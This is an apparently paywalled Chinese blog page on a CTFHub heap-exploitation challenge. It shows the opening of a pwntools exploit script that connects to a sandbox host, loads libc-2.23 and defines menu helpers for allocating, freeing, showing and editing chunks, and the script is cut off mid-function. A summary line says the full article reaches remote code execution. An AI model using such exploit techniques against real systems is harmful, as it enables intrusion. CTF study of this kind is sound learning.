版本一
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-5dd2c6599f1cd66f.sandbox.ctfhub.com",36598)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")
def add():
io.recvuntil(b">> ")
io.sendline(b"1")
def free(idx):
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(idx))
def show(idx):
io.recvuntil(b">> ")
io.sendline(b"3")
io.recvuntil(b"Index:")
io.sendline(str(idx))
def edit(idx,size,data):
io.recvuntil(b">> ")
io.sendline(b"4")
io.recvuntil(b"Index:")
io.sendline(str(idx))
io.recvuntil(b"Size:")
io.sendline(str(size))</

本文通过两个版本的代码示例详细介绍了如何使用PWN技术进行内存操作,包括添加、编辑、释放内存块等步骤,最终实现对目标系统的远程代码执行。
最低0.47元/天 解锁文章
1502

被折叠的 条评论
为什么被折叠?



